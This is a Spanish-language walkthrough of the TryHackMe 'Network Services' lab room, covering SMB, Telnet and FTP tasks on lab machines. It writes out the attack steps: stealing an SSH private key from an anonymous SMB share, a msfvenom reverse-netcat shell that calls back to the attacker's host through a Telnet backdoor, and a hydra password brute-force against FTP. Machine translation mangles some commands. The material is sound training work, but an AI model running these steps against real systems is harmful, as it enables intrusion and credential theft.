Este es un artículo para la sala TryHackMe.com, Network Services, creado por Polomints.
Este artículo incluirá las respuestas a la mayoría de las preguntas, pero, según lo solicitado por TryHackMe, no incluirá las banderas ni las contraseñas.
Esta sala se puede encontrar en la ruta de aprendizaje de Defensa Cibernética al momento de escribir este artículo y aquí.
Puedes encontrar mi video tutorial de esto AQUÍ.
Las tareas en esta sala siguen un patrón repetido: Comprender, Enumerar y Explotar. Las tareas de Comprensión le enseñan sobre el servicio que va a explotar. Las tareas de Enumeración le enseñan cómo recopilar datos sobre el servicio. Y luego, las tareas de explotación le permiten ejecutar el exploit para cada servicio.
Todas las máquinas virtuales que utiliza esta sala están en las tareas de enumeración, indicadas por el ícono de pila verde. . Dado que las máquinas virtuales pueden tardar entre 1 y 5 minutos en iniciarse, recomiendo que antes de comenzar una tarea de Comprender, vaya a la Tarea de enumeración e inicie la máquina. Eso le da tiempo para configurarse mientras usted regresa y ejecuta la tarea de Comprensión.
Además, supongamos que eres tan nuevo en TryHackMe como yo. En ese caso, es posible que solo haya experimentado máquinas virtuales a las que puede conectarse con OpenVPN ingresando su dirección IP en su navegador, generalmente con un número de puerto mencionado en las tareas, que luego lo lleva a una GUI. Ese no es el caso de esta habitación. Estas máquinas virtuales están configuradas para proporcionar los servicios que está probando y solo esos servicios. Eso significa que utilizará una Terminal en su máquina local, Attack Box o, si es un usuario premium, Kali Box basado en navegador para comunicarse con las máquinas virtuales. Utilicé el cuadro Kali basado en navegador.
Si va a utilizar su máquina local, le sugeriría que utilice una máquina Linux o el Subsistema de Windows para Linux con Kali/su versión favorita instalada. Todas las herramientas que necesitará están preinstaladas con Kali pero se pueden agregar a otras distribuciones. Además, no tengo el Subsistema de Windows para Linux funcionando en mi máquina, por lo que es posible que tengas que resolver algunas cosas por tu cuenta.
Hay una parte que requiere un archivo proporcionado en la máquina Kali basada en navegador/Attack Box. Si desea utilizar su máquina local, deberá iniciar Attack Box y descargar este archivo. También puedes usar la Caja de Ataque solo para la Tarea 10.
@@ Posteriormente supe que puedes descargar el archivo desde GitHub en rockyou.txt. Ese es, con diferencia, el método más sencillo, pero dejaré estas instrucciones adicionales aquí en caso de que alguien quiera probarlas. @@
Cómo descargar usando WinSCP en Windows 10
Si desea descargar el archivo de 136 MB y utilizar su terminal local, aquí le explicamos cómo hacerlo en una máquina con Windows. Para la transferencia utilicé WinSCP. Primero, inicie el cuadro de ataque de vista dividida. Luego, una vez que tenga acceso al Escritorio, haga clic en la “i” ubicada en la parte inferior izquierda de la pantalla. . Eso le dará la dirección IP, el nombre de usuario y la contraseña de Attack Box. Luego, en WinSCP, en la pantalla de inicio de sesión, seleccione "Nuevo sitio", luego ingrese la dirección IP de Attack Box como nombre de host, el nombre de usuario como nombre de usuario y la contraseña como contraseña.
Tener en mente; Tu información será diferente a la mía. Seleccione sftp como protocolo y debería completar automáticamente el puerto 22; si no, escriba 22 para el puerto. Luego haga clic en iniciar sesión. Probablemente aparecerá una ventana emergente que le preguntará si desea "Continuar conectándose al servidor desconocido...". Haga clic en Sí. Una vez que haya iniciado sesión, estará en el directorio raíz de Attack Box; Haga doble clic en "Herramientas" y luego en "listas de palabras" (la ruta en WinSCP cambiará a /usr/share/wordlists/
está bien). Busque el archivo llamado rockyou.txt, selecciónelo y haga clic en descargar.
Se abrirá el cuadro de diálogo Descargar, seleccione la ruta del archivo que desee y haga clic en Aceptar. Ahora tiene el archivo que necesita para la Tarea 10. Recuerde la ruta del archivo; lo necesitarás.
Fin, Cómo descargar usando WinSCP en Windows 10
Cómo descargar usando una terminal Linux
Al igual que con Windows, iniciará el cuadro de ataque de vista dividida. Luego, una vez que tenga acceso al Escritorio, haga clic en la “i” ubicada en la parte inferior izquierda de la pantalla. . Eso le dará la dirección IP, el nombre de usuario y la contraseña de Attack Box.
En su terminal, escribirá sftp root@{Your Attack Box Private IP}
sin los corchetes. Elimine siempre las llaves al ejecutar comandos en este artículo. El nombre de usuario de cada Attack Box que he visto es root; Si el suyo es diferente, ingrese el nombre de usuario en lugar de root en el comando anterior. Luego te pedirá la contraseña. Copie y pegue la contraseña de la ventana Información de la máquina del Attack Box. No te preocupes si la contraseña no aparece; simplemente pégalo/escríbelo y presiona enter. Después de conectarse, debería aparecer un mensaje sftp>
. Si algo sale mal, verifique que tenga OpenVPN conectado y que esté utilizando el nombre de usuario, dirección IP y contraseña correctos. Una vez que tenga el mensaje sftp
, escriba get /root/Desktop/Tools/wordlists/rockyou.txt
, prestando mucha atención a las mayúsculas. Debería comenzar a descargar el archivo a su sistema local.
Si está utilizando una distribución similar a la mía (Kali), debería colocar el archivo en la carpeta de inicio de su usuario. Recuerde la ruta del archivo; lo necesitarás para la Tarea 10.
Fin, Cómo descargar usando una terminal Linux
Ahora, con todo eso aclarado, ¡vamos a las tareas!
Esta Tarea es puramente informativa y no requiere una respuesta a la pregunta. Leerlo le permite saber que necesita una comprensión básica de la navegación en sistemas Linux y le sugiere un espacio para repasar sus habilidades. Además, te recuerda que debes mantenerte hidratado.
Haga clic en el botón Completado y continúe con la siguiente tarea.
Esta tarea le enseñará sobre el bloque de mensajes del servidor (SMB) del servicio Microsoft, un protocolo cliente-servidor que se utiliza para compartir el acceso a archivos, impresoras y otros recursos a través de una red. Como es una tarea teórica, lea la información y responda las preguntas a continuación. Si nunca antes has visto la palabra NetBEUI, y no te culpo si no lo hubieras hecho, se pronuncia Net Buoy, como una boya oceánica.
Si desea minimizar el tiempo de espera, le recomiendo abrir la Tarea 3 y hacer clic en el botón verde "Iniciar máquina" ahora, luego retroceder hacia arriba y ejecutar esta Tarea.
Pregunta 1
¿Qué significa SMB?
Bloque de mensajes del servidor
Pregunta 2
¿Qué tipo de protocolo es SMB?
solicitud de respuesta
Pregunta 3
¿Qué utilizan los clientes para conectarse a los servidores?
TCP/IP
Pregunta 4
¿En qué sistemas se ejecuta Samba?
Unix
Esta tarea cubre la etapa de recopilación de información que es crucial para establecer una explotación exitosa.
Si siguió las instrucciones anteriores, ya inició la máquina para esta Tarea antes de completar la Tarea 2. De lo contrario, inicie la máquina ahora haciendo clic en el botón verde denominado "Iniciar máquina". Una vez que la máquina esté completamente en funcionamiento, verá la dirección IP en la parte superior de la página; lo necesitarás.
Comienza con una breve descripción de la herramienta de escaneo de puertos Nmap. Si desea o necesita más experiencia con Nmap antes de continuar, le recomienda una sala que forme parte de la serie Red Primer. Las únicas dos opciones que necesitará conocer para esta sala son -A
, que permite la detección del sistema operativo, la detección de versiones, el escaneo de scripts y traceroute, y la opción -p-
, que le indica a Nmap que escanee todos los puertos, no solo el 1000 más comunes. La sintaxis para los escaneos de Nmap que usaremos aquí es nmap {options} {target}
. Entonces, para el primer escaneo, se verá algo así como nmap -A -p- 10.10.10.10
con la IP de su máquina activa en lugar de los 10. Esta captura de pantalla muestra dónde encontrará la IP de su máquina. Asegúrese de utilizar la IP de su máquina activa y no se limite a copiar la que ve aquí.
También vamos a utilizar la herramienta enum4linux, que era nueva para mí. enum4linux se utiliza para enumerar recursos compartidos SMB en sistemas Windows y Linux. Hay una lista de opciones de enum4linux disponibles; sin embargo, la opción -a
, que las cubre todas, es la que utilicé. Nota: la información proporcionada para enum4linux describe la opción como -A
con letra mayúscula, lo cual es incorrecto; debe ser una a
minúscula.
Pregunta 1
Realice un escaneo Nmap de su elección. ¿Cuantos puertos hay abiertos?
Para esta pregunta, puede realizar un escaneo Nmap básico de nmap {IP of your Active Machine}
. Sin embargo, si desea ejecutar 1 escaneo y obtener casi toda la información para las siguientes preguntas, ejecute nmap -A -p- {IP of your Active Machine}
. Aquí está la información que obtiene con el escaneo básico.
Como puede ver en los resultados del escaneo, hay 3 puertos abiertos, 22, 139 y 445. Sin embargo, no hay mucho más que necesitemos.
Pregunta 2
¿En qué puertos se ejecuta SMB?
Esta pregunta es un poco más complicada. SMB es parte de Microsoft-ds en el puerto 445, pero puede ejecutarse en NetBIOS en el 139. Entonces, la respuesta a esta pregunta es ambas.
139/445
Pregunta 3
Comencemos con enum4linux y realicemos una enumeración básica completa. Para empezar, ¿cuál es el nombre del grupo de trabajo ?
Para esta pregunta, si ejecutó nmap -A {Your Machine's IP}
, ya tiene esa información.
Sin embargo, esta pregunta nos enseña sobre enum4linux, así que usémosla. Ejecute enum4linux -a {IP Address of your Active Machine}
.
Como puede ver en las capturas de pantalla anteriores, el grupo de trabajo aparece como GRUPO DE TRABAJO.
Pregunta 4
¿Qué aparece como nombre de la máquina?
Para esta pregunta, deberá desplazarse hacia abajo hasta la sección "Resultados del script del host" de los resultados del análisis si utilizó nmap -A -p-
.
Debajo del nombre de la computadora, muestra polosmb
.
Para enum4linux, tienes que inferir un poco más.
Pregunta 5
También se incluye en las capturas de pantalla anteriores la respuesta a esta pregunta.
¿Qué versión del sistema operativo está ejecutando?
6.1
Pregunta 6
Esta pregunta sólo puede responderse con enum4linux. Ejecute enum4linux -A {IP of your Active Machine}
¿Qué parte destaca como algo que podríamos querer investigar?
IPC$ es comunicación entre procesos; No voy a necesitar eso. print$ es para controladores de impresora, y tampoco es realmente lo que queremos. netlogon para el servicio de inicio de sesión de red, probablemente no tenga la información que necesitamos. Eso deja profiles
que contienen información sobre perfiles de usuario. Eso tiene potencial. Es posible que podamos encontrar allí la información de inicio de sesión de un usuario.
Aquí es donde nos divertimos aún más. Usaremos SMBClient, que está disponible en Kali pero se puede agregar a otras distribuciones. Para SMBClient usaremos la sintaxis smbclient //{IP address}/{Share Name} -U {Username} -p {Port Number}
.
Pregunta 1
¿Cuál sería la sintaxis correcta para acceder a un recurso compartido SMB llamado "secreto" como usuario "traje" en una máquina con la IP 10.10.10.2 en el puerto predeterminado?
Mirando la sintaxis anterior, podemos simplemente ingresar la información.
smbcliet //10.10.10.2/secret -U suit -p 445
Pregunta 2 ¡Genial! Ahora que domina la sintaxis, intentemos explotar esta vulnerabilidad. Tiene una lista de usuarios, el nombre del recurso compartido y una vulnerabilidad sospechada.
No se requiere respuesta; simplemente haga clic en Completar.
Pregunta 3
Veamos si nuestro interesante recurso compartido ha sido configurado para permitir el acceso anónimo, es decir; no requiere autenticación para ver los archivos. Podemos hacer esto fácilmente mediante:
usando el nombre de usuario “Anónimo”
conectándonos al recurso compartido que encontramos durante la etapa de enumeración
y no proporcionar una contraseña
Cuando te solicite la contraseña, simplemente presiona Enter.
¿El recurso compartido permite el acceso anónimo? ¿T/N?
Si ve el mensaje smb: >, significa que inició sesión correctamente sin proporcionar la contraseña. Entonces, Y
el recurso compartido permite el acceso anónimo.
Pregunta 5
Ingrese ls
para ver el contenido del recurso compartido. ¿Qué ves que parece tener alguna información para nosotros?
El primero que me llamó la atención fue el archivo de texto. Ahora tenga en cuenta que a Linux no le gustan los archivos con espacios en sus nombres, por lo que tendrá que agregar " " alrededor de ellos en sus comandos. Hablando de eso, como dice la terminal, al escribir "ayuda" obtendrás una lista de los comandos disponibles, lo cual me pareció muy útil.
Normalmente, usaría cat
para mostrar el contenido del archivo .txt, pero no está en la lista. Parece que SMBClient no lo sabe, así que elegí more
.
Este archivo nos brinda dos grandes datos: un nombre de usuario potencial, basado en John Cactus, la dirección del archivo y que John tiene una cuenta SSH configurada.
¡Excelente! Eche un vistazo a su alrededor en busca de documentos interesantes que puedan contener información valiosa. ¿A quién podemos suponer que pertenece esta carpeta de perfil?
Juan Cactus
Pregunta 6
Leer el archivo .txt de la pregunta anterior también nos da la respuesta a esta.
¿Qué servicio se ha configurado para permitirle trabajar desde casa?
SSH
Pregunta 7
Ahora que hemos terminado con el archivo .txt, presione "q" para salir del editor.
¡Bueno! Ahora que sabemos esto, ¿en qué directorio del recurso compartido deberíamos buscar?
Dado que estamos buscando más información sobre la cuenta SSH de John, creo que hay una carpeta aquí que podría ser muy beneficiosa; cual crees que es?
.ssh
Pregunta 8
Este directorio contiene claves de autenticación que permiten a los usuarios autenticarse y luego acceder a un servidor. ¿Cuál de estas claves es más valiosa para nosotros?
Entonces, vamos a ingresar a la carpeta .ssh ingresando cd .ssh
. Luego ejecute el comando ls
nuevamente para ver el contenido.
La clave SSH predeterminada se almacena en el archivo id_rsa
. Entonces esa es nuestra respuesta.
Si desea ver cómo se ve una clave SSH, puede usar el comando more nuevamente para verlo. more id_rsa
. Las partes más importantes que debe ver son que comienza con "COMENZAR LA CLAVE PRIVADA RSA" con 5 guiones a cada lado. Y luego termina con “END RSA PRIVATE KEY” también con 5 guiones a cada lado. Luego “q” nuevamente para salir del editor.
Ahora podemos hacer un reconocimiento adicional para facilitar un poco la siguiente pregunta. Ejecute more id_isa.pub
. Y vea lo que puede ver al final del archivo.
Pregunta 9
Descargue este archivo a su máquina local y cambie los permisos a "600" usando "chmod 600 [archivo]".
Para descargar el archivo, eche un vistazo al comando de ayuda y vea qué comando cree que probablemente conduciría a una descarga.
Creo get
funcionaría de maravilla. Entonces, para descargar el archivo mientras aún está en la carpeta .ssh, ejecutará get id_rsa
. En la máquina basada en el navegador Kali, eso colocará el archivo en su directorio raíz. Si está utilizando una distribución de Linux ejecutada localmente, probablemente la colocará en el directorio de inicio de su usuario.
Ahora, los archivos de claves RSA requieren cierta seguridad para funcionar, por lo que debemos configurar los permisos correctos para este archivo. También estamos caídos con el recurso compartido, así que ejecute quit
para volver al indicador de su máquina. Luego ejecute chmod 600 {File Path}
Entonces, para la máquina web Kali, chmod 600 id_rsa
. Para las otras máquinas, puede navegar a la carpeta donde se encuentra el archivo usando cd
y luego ejecutar el comando anterior; escribimos la ruta al archivo en el comando.
Ahora, utilice la información que ya ha recopilado para calcular el nombre de usuario de la cuenta. Luego, use el servicio y la clave para iniciar sesión en el servidor.
Desde que hicimos ese pequeño reconocimiento adicional, sabemos que el nombre de usuario es "cactus". Cuando revisé esto por primera vez, asumí que el nombre de usuario sería j.cactus y encontré un error que no entendí; encontrar el nombre de usuario correcto lo solucionó.
La sintaxis para SSH usando una clave especificada es: ssh -i {Key File} {Username}@{IP Address}
. Entonces, para nosotros, será ssh -i id_rsa cactus@{Active Machine's IP Address}
Cuando te pregunte si estás seguro de querer continuar, escribe "sí" y presiona Enter. ¡Felicidades! Cuando vea el mensaje cambiar a cactus@polosmb:~$
, ahora ha iniciado sesión exitosamente en un servidor en una cuenta que no es suya.
Utilice el comando ls
para ver qué hay aquí, solo un archivo; ¡ábrelo para que puedas capturar esa bandera! Puedes usar cat
aquí para imprimir el contenido en la pantalla.
Pregunta 10
Copie el contenido del archivo que acaba de abrir y péguelo en el cuadro de esta respuesta. TryHackMe solicita que los artículos excluyan las banderas, por lo que no lo publicaré aquí.
A medida que esto completa la sección SMB, debe finalizar la máquina activa actual, saltar a la Tarea 6 e iniciar esa máquina, antes de regresar a la Tarea 5.
Telnet es un protocolo de aplicación obsoleto. Se utiliza para interactuar con hosts remotos. Una vez conectado al sistema remoto, se convierte en una terminal virtual para ese sistema. Sin embargo, está desactualizado porque envía toda su información en texto claro; no hay cifrado. Dado que es mucho más seguro, SSH ha suplantado a Telnet en la mayoría de situaciones. Para conectarse a un sistema remoto mediante Telnet, utilice la sintaxis telnet {IP Address} {port Number}
. El puerto predeterminado para Telnet es 23.
Pregunta 1
¿Qué es Telnet?
Protocolo de aplicación
Pregunta 2
¿Qué ha sustituido lentamente a Telnet?
SSH
Pregunta 3
¿Cómo se conectaría a un servidor Telnet con la IP 10.10.10.3 en el puerto 23?
Telnet 10.10.10.3 23
Pregunta 4
¿La falta de qué significa que toda la comunicación Telnet sea en texto plano?
Cifrado
Si aún no ha iniciado la máquina para esta tarea, hágalo ahora.
Al igual que con las tareas SMB, comenzaremos ejecutando un escaneo de puertos de nuestro sistema de destino.
Ejecute nmap -A -p- {IP address of your Active Machine}
Este análisis puede tardar un poco. El mío se completó en 174,56 segundos.
Pregunta 1
¿Cuántos puertos hay abiertos en la máquina de destino?
Sólo hay un puerto “1” abierto.
Pregunta 2
¿Qué puerto es este? Nota: Esto pregunta qué puerto está abierto.
8012
Pregunta 3
Este puerto no está asignado pero aún muestra el protocolo que está utilizando; ¿Qué protocolo es este?
tcp
Pregunta 4
Ahora vuelva a ejecutar el escaneo de Nmap, sin la etiqueta -p-; ¿Cuántos puertos aparecen abiertos?
Recuerde, la opción -p-
le dice a Nmap que escanee todos los puertos, por lo que al eliminarla, Nmap solo escaneará los 1000 puertos principales.
Los puertos “0” están abiertos.
Pregunta 5
Vemos que asignar Telnet a un puerto no estándar no forma parte de la lista de puertos comunes ni de los 1000 puertos principales que escanea Nmap. Es esencial probar todos los ángulos al enumerar, ya que la información que recopile aquí informará su etapa de explotación.
No se necesita respuesta; haga clic en Completar
Pregunta 6
Según el título que nos devolvieron, ¿para qué creemos que podría usarse este puerto?
Puede ver de qué habla esta pregunta en la parte inferior de la última captura de pantalla.
una puerta trasera
Pregunta 7
¿A quién podría pertenecer? Reunir posibles nombres de usuario es un paso esencial en una enumeración.
Igual que la última pregunta, información en la última captura de pantalla.
resbaladizo
Pregunta 8
Mantenga siempre una nota de la información que encuentre durante la etapa de enumeración, para que pueda consultarla cuando continúe y pruebe los exploits.
Mantener notas es muy importante. Escribir informes de nuestros hallazgos es una parte importante de estar en seguridad. Adquirir el hábito de tomar notas minuciosas hace que todo sea más fácil.
No se necesita respuesta; haga clic en Completar
Desglose del método
Entonces, desde nuestra etapa de enumeración, sabemos:
- There is a poorly hidden telnet service running on this machine
- The service itself is marked “backdoor”
- We have a possible username of “Skidy” implicated
Usando esta información, intentemos acceder a este puerto Telnet y usarlo como punto de apoyo para obtener un shell inverso completo en la máquina.
Recuerde lo anterior, la sintaxis de telnet es telnet {Machine IP} {Port}
Pregunta 1
Bien, ¡intentemos conectarnos a este puerto telnet! Si te quedas atascado, echa un vistazo a la sintaxis para conectar descrita anteriormente.
Para esto, necesitará ejecutar telnet {Your Active Machine's IP Address} 8012
porque aunque el puerto predeterminado para Telnet es 23, como encontramos en nuestra búsqueda de Nmap, este sistema lo tiene en un puerto no estándar.
No se necesita respuesta; haga clic en completar.
Pregunta 2
¡Excelente! ¡Es una conexión telnet abierta! ¿Qué mensaje de bienvenida recibimos?
LA PUERTA TRASERA DE SKIDY.
Pregunta 3
Intentemos ejecutar algunos comandos. ¿Recibimos un retorno por cualquier entrada que ingresemos en la sesión de telnet? (sí/no)
Para este, escriba los comandos que desee. ls
ver qué había allí. Y como no recibimos información, la respuesta a esta pregunta es:
norte
Pregunta 4
Mmm... eso es extraño. Comprobemos si lo que estamos escribiendo se ejecuta como un comando del sistema.
No se necesita respuesta; haga clic en Completar.
Pregunta 5
Dado que todos tus comandos se envían al vacío, es un poco difícil cerrar esta conexión. Para que se le solicite cambiar a algo útil, presione ctrl + ]
. Eso es control y la tecla del corchete derecho simultáneamente, lo que debería cambiar su mensaje a telnet>
, luego escriba close
y presione enter. Ahora debería volver a su indicación habitual. O, si lo desea, puede dejar la sesión de telnet conectada y abrir una nueva pestaña/ventana para ejecutar el siguiente tcpdump.
Inicie un detector tcpdump en su máquina local.
Un oyente tcpdump monitoreará la interfaz seleccionada en busca de tráfico y luego registrará ese tráfico en la pantalla. Lo iniciará y luego lo dejará ejecutándose en su propia pestaña/ventana.
Si usa su propia máquina con la conexión OpenVPN, use:
sudo tcpdump protocolo ip icmp -i tun0
Si usa AttackBox, use:
sudo tcpdump protocolo ip icmp -i eth0
Esto inicia un detector tcpdump, que escucha explícitamente el tráfico ICMP, sobre el cual operan los pings.
La diferencia entre los dos es la interfaz de red. En su máquina Linux local, se supone que debe usar tun0, que es el dispositivo de túnel que debería ser la conexión OpenVPN, pero no me cite sobre eso. Es posible que tengas que ejecutar sudo ifconfig
para determinar qué interfaz deberías utilizar.
No se necesita respuesta; haga clic en Completar
Pregunta 6
Para esta pregunta, volveremos a utilizar la sesión de telnet; Si todavía lo tienes abierto, genial. De lo contrario, abra una nueva pestaña/ventana y vuelva a conectarse a la máquina siguiendo los mismos pasos anteriores. Tenga en cuenta que necesitará la dirección IP del sistema en el que está trabajando, ya sea Attack Box, Kali Machine o su sistema local, para esta pregunta.
Esta pregunta nos hace ejecutar el comando ping a través de la sesión de telnet. Vamos a ingresar .RUN ping {Local IP Address} -c 1
. Eso enviará 1 ping desde el host remoto a nuestra máquina local. Si puede tener ambas ventanas a la vista simultáneamente, podrá ver lo que sucede a medida que sucede.
Ahora, use el comando “ping [IP THM local] -c 1” a través de la sesión de telnet para ver si podemos ejecutar comandos del sistema. ¿Recibimos algún ping? Tenga en cuenta que debe anteponer esto a .RUN (Y/N)
Debería ver tanto la solicitud de ping como la respuesta de ping en su pestaña con el oyente tcpdump.
Y
Pregunta 7
¡Excelente! Esto significa que podemos ejecutar comandos del sistema Y que podemos acceder a nuestra máquina local. ¡Ahora divirtámonos un poco!
No se necesita respuesta; haga clic en Continuar
Pregunta 8
Para esta pregunta, dejará la sesión de telnet e ingresará en una pestaña/ventana diferente. Puede presionar ctrl + c
para finalizar el oyente tcpdump y usar esa ventana; Ya no necesitamos el tcpdump. Ejecute el siguiente comando con la dirección IP de su sistema local conectada donde están los corchetes, pero omita los corchetes. Una vez que presione Enter en el comando, tomará un momento generar la carga útil y luego imprimirla en la pantalla.
Vamos a generar una carga útil de shell inverso usando msfvenom. Esto generará y codificará un shell inverso de netcat para nosotros. Aquí está nuestra sintaxis:
"msfvenom -p cmd/unix/reverse_netcat lhost=[ip local tun0] lport=4444 R"
-p = carga útil lhost = nuestra dirección IP del host local (esta es la dirección IP de su máquina) lport = el puerto para escuchar (este es el puerto de su máquina) R = exportar la carga útil en formato sin formato
¿Con qué palabra comienza la carga útil generada?
mkfifo
Pregunta 9
Perfecto. Ya casi llegamos. Ahora, todo lo que tenemos que hacer es iniciar un detector de netcat en nuestra máquina local. Hacemos esto usando:
"nc -lvp [puerto de escucha]"
¿Cómo se vería el comando para el puerto de escucha que seleccionamos en nuestra carga útil?
Carolina del Norte-lvp 4444
Pregunta 10
¡Excelente! Ahora eso está funcionando; Necesitamos copiar y pegar nuestra carga útil de msfvenom en la sesión de telnet y ejecutarla como un comando. ¡Con suerte, esto nos dará un caparazón en la máquina de destino!
Recuerde que para que el comando funcione en la sesión de telnet; necesitas tener .RUN al principio.
No se necesita respuesta; haga clic en completar.
Pregunta 11
¡Éxito! ¿Cuáles son los contenidos de flag.txt?
Si el shell inverso funcionó, debería ver "conectarse a [10.10.xx] desde ip, etc..." debajo del oyente netcat.
Desde allí, puede ingresar comandos como de costumbre y enviarlos al sistema remoto.
Sugeriría comenzar con ls
para ver qué archivos hay, y debería poder descubrir el resto, ya que ya ha capturado una bandera como esta antes.
Con esto concluye la sección sobre Telnet. Entonces, finalice la Máquina Activa actual, salte a la Tarea 9, inicie esa máquina y luego regrese a la Tarea 8.
FTP, protocolo de transferencia de archivos. Como sugiere el nombre, se utiliza para transferir archivos a través de una red. El FTP normal está desactualizado y ha sido reemplazado por un par de estándares diferentes y más seguros. FTPS es FTP sobre TLS, por lo que su puerto predeterminado sigue siendo el 21, al igual que FTP. El otro es SFTP, que es el Protocolo seguro de transferencia de archivos y utiliza SSH, por lo que su puerto predeterminado es el 22.
Pregunta 1
¿Qué modelo de comunicación utiliza FTP?
cliente-servidor
Pregunta 2
¿Cuál es el puerto FTP estándar?
21
Pregunta 3
¿Cuántos modos de conexión FTP existen?
2
Vamos a trabajar con un cliente FTP. Para verificar que tiene un cliente FTP instalado en su sistema, puede ingresar ftp
y debería aparecer un mensaje ftp>
. De lo contrario, todo lo que debe hacer es instalarlo mediante sudo apt install ftp
.
Pregunta 1
Usaremos Nmap nuevamente para enumerar este servidor FTP. Al revisar las siguientes preguntas, necesitará más información de la que recibiría de un escaneo básico, así que elegí nmap {Active Machine IP Address} -A -p-
.
¿Cuántos puertos hay abiertos en la máquina de destino?
Esta pregunta es un poco rara. Mirando mi respuesta correcta mientras corría por esta sala, dice 2. Al hacer el escaneo ahora se muestra que solo el puerto 21 está abierto. Sugeriría comenzar con 1 y si no funciona, decir 2.
Pregunta 2
¿En qué puerto se ejecuta FTP?
21
Pregunta 3
¿Qué variante de FTP se ejecuta en él?
vsftpd
Pregunta 4
Genial, ahora sabemos con qué tipo de servidor FTP estamos tratando; Podemos comprobar si podemos iniciar sesión de forma anónima en el servidor FTP. Podemos hacer esto escribiendo ftp [IP]
en la consola e ingresando "anónimo" y sin contraseña cuando se le solicite.
¿Cuál es el nombre del archivo en el directorio FTP anónimo?
AVISO_PÚBLICO.txt
Pregunta 5
Para esta pregunta, volverá a utilizar el comando get
, al igual que con Telnet. Ingrese get PUBLIC_NOTICE.txt
Eso descargará el archivo a su sistema para que pueda ver su contenido. Ya no necesita estar conectado al servidor FTP, así que ingrese exit
para regresar al mensaje estándar.
Ahora necesitarás encontrar el archivo que acabas de descargar. Para la máquina Kali basada en navegador, se coloca en su directorio raíz. Debería estar en el mismo directorio que el archivo que obtuvo durante las tareas de telnet.
Una vez que lo haya encontrado en su sistema, es hora de leerlo. Navegue hasta la carpeta en la que se encuentra o ingrese la ruta completa del archivo usando el comando cat
. cat PUBLIC_NOTICE.txt
y vea si puede ver alguna información que pueda sernos útil; ¿Algo que pueda ser un nombre de usuario, tal vez?
¿Cuál creemos que podría ser un posible nombre de usuario?
micro
Pregunta 6
¡Excelente! Ahora tenemos detalles sobre el servidor FTP y, fundamentalmente, un posible nombre de usuario. Veamos qué podemos hacer con eso...
No se necesita respuesta; haga clic en Completar.
Para esta tarea en particular, usaremos el nombre de usuario mike
que ya conocemos e intentaremos forzar su contraseña por fuerza bruta. Aquí es donde entra en juego el archivo rockyou.txt
; es una lista de contraseñas. Si está utilizando su propio sistema local, recuerde dónde lo descargó y utilícelo como ruta del archivo. La herramienta que vamos a utilizar se llama hidra. Hydra puede tomar una lista de contraseñas y probarlas contra un sistema para ver si funcionan.
La página TryHackMe tiene un gran desglose de la sintaxis que usaremos para este ataque. Recomiendo encarecidamente leerlo.
hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp
Dependiendo del sistema que esté utilizando, la ruta de su archivo puede variar. Además, si está en la máquina Kali basada en navegador, tendrá un paso adicional. En la máquina Kali, la lista de palabras se comprime en un archivo GZ. Necesitamos descomprimirlo. En su terminal, ingrese gunzip -d /root/Desktop/wordlists/rockyou.txt.gz
. Después de un momento, tendrás el archivo sin comprimir que necesitas.
Para encontrar la contraseña correcta, ingresará hydra -t 4 -l mike -P {Your File Path to rockyou.txt} -vV {Your Active Machine IP} ftp
.
Si todo fue exitoso, debería mostrar la contraseña como la última entrada en la lista.
¿Cuál es la contraseña del usuario “mike”?
Puedes encontrar esto en la salida de Hydra.
Pregunta 2
¡Bingo! Ahora, conectemos al servidor FTP como este usuario usando "ftp [IP]" e ingresando las credenciales cuando se le solicite.
Ahora vamos a iniciar sesión con nuestras credenciales recién encontradas.
Ingrese ftp {Your Active Machine IP Address}
. Luego ingrese mike
como nombre de usuario y la respuesta de la pregunta anterior como contraseña. Ahora debería tener el indicador ftp>
.
No se necesita respuesta; haga clic en completar.
Pregunta 3
Utilice ls
para ver el contenido del directorio. Dos archivos aquí. El .txt es probablemente el que será legible por humanos. Utilice el comando get
para descargarlo a su sistema. Ahora que ha hecho esto un par de veces, debería poder encontrar el archivo y ver su contenido. Si tiene dificultades, puede desplazarse hacia arriba y encontrar las instrucciones de las otras tareas.
¿Qué es ftp.txt?
¡Felicidades! ¡Has capturado tu tercera bandera y has completado la parte de actividad de la sala! ¡Buen trabajo!
Esta tarea ofrece algunos lugares que puede consultar para ampliar su lectura sobre temas relacionados.
No se necesita respuesta; haga clic en Completar.
Lo hiciste muy bien al atravesar esta sala. Puede que al principio te haya parecido intimidante, puede que haya sido muy sencillo, pero lo lograste.
Muchas gracias a Polomints por crear esta sala y a TryHackMe por crear este excelente sitio.